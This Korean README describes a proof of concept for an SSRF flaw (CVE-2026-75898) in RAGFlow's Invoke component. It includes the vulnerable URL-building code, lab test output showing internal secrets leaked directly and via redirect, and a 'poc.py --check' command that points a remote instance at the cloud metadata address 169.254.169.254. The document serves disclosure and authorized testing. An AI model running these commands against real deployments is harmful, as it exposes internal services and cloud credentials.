
# CVE-2026-75898 개념 증명 — RAGFlow Invoke 컴포넌트의 SSRF RAGFlow의 Invoke 컴포넌트에서 발생하는 SSRF 취약점(CVE-2026-75898)에 대한 개념 증명입니다. 수정되지 않은 소스로 취약점을 시연하며, E2E 테스트, 수정 전후 비교, 그리고 승인된 보안 테스트를 위한 Docker 기반 재현 환경을 포함합니다.
| CVE | CVE-2026-75898 |
| CVSS | 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| 수정 버전 | v0.26.3 |
| 수정 커밋 | c4fe68e, e16d1a0 |
| 이슈 참조 | infiniflow/ragflow#15425, #18280 |
| 권고 | VulnCheck |
v0.26.2의 agent/component/invoke.py에서 Invoke 컴포넌트는 사용자가 제공한 변수 템플릿으로 요청 URL을 구성하며, 확인된 호스트에 대한 검증을 수행하지 않습니다:
def _build_url(self, kwargs: dict) -> str:
url = self._resolve_template_text(self._param.url.strip(), kwargs)
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url
이 URL은 _send_request()의 requests.get/post/put에 도달합니다. allow_redirects가 requests 기본값(True)으로 남아 있기 때문에, 공격자는 다음을 수행할 수 있습니다:
url을 내부 주소(127.0.0.1, 169.254.169.254, RFC1918 대역, 확인된 호스트 고정(pinning) 없음)로 설정하거나,수정은 assert_url_is_safe() + pin_dns()를 추가하고 allow_redirects=False를 강제합니다.
"유사한" 재구현과 달리, 이 저장소는 취약한 컴포넌트의 수정되지 않은 v0.26.2 소스 코드를 실행합니다:
target/invoke_v0.26.2.py — v0.26.2 태그의 agent/component/invoke.py를 바이트 단위로 그대로 복사한 파일.e2e/test_genuine_ssrf.py — 얇은 import 스텁 뒤에서 실제 파일을 로드하고(스텁은 관련 없는 import만 대체: ComponentBase, timeout 데코레이터, HtmlParser — SSRF 경로 로직은 전혀 건드리지 않음), 컴포넌트가 내부 서비스에 직접 및 리다이렉트 체인을 통해 도달함을 증명합니다.e2e/test_fix_guard.py — 동일한 파일에 업스트림 가드(assert_url_is_safe, allow_redirects=False)를 적용하고 요청이 차단됨을 보여줍니다.세 가지 독립적인 방법으로 검증되었습니다:
e2e/test_genuine_ssrf.py가 수정되지 않은 target/invoke_v0.26.2.py 소스를 루프백 랩 서버에 대해 실행 — SSRF 확인됨.e2e/test_fix_guard.py가 동일한 파일에 업스트림 가드를 적용 — 차단됨.docker compose를 통한 RAGFlow v0.26.2 (infinity+mysql+minio+valkey); 실제 에이전트 흐름의 Invoke 노드가 내부 호스트 포트에서 INTERNAL-DB-SECRET:dbpassword=SuperSecret123을 가져옴. 축어적 증거는 LAB_DEMO.md 참조.cd e2e
python3 test_genuine_ssrf.py # must print SSRF confirmed (vulnerable)
python3 test_fix_guard.py # must print BLOCKED (fixed behavior)
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
response: 'INTERNAL-SECRET-/internal/admin/reset' (X-Internal header: true)
[?] SSRF confirmed: internal service reached, secret leaked
[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
final: 'INTERNAL-SECRET-/internal/redirected'
[?] SSRF via redirect chain confirmed
인증된 세션 토큰이 필요합니다 (Invoke는 에이전트 흐름 내에서 실행됨).
python3 poc.py --poc # local E2E
python3 poc.py --check --target https://ragflow.example.com \
--token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/
Invoke 노드 URL 템플릿을 허용 목록(allowlist)으로 제한.RAGFlow v0.26.3(2026년 8월)에서 수정됨. 이 PoC는 공개 권고 및 수정 커밋에서 승인된 보안 테스트 및 교육 목적으로만 독립적으로 재구성되었습니다. InfiniFlow와 관련이 없습니다.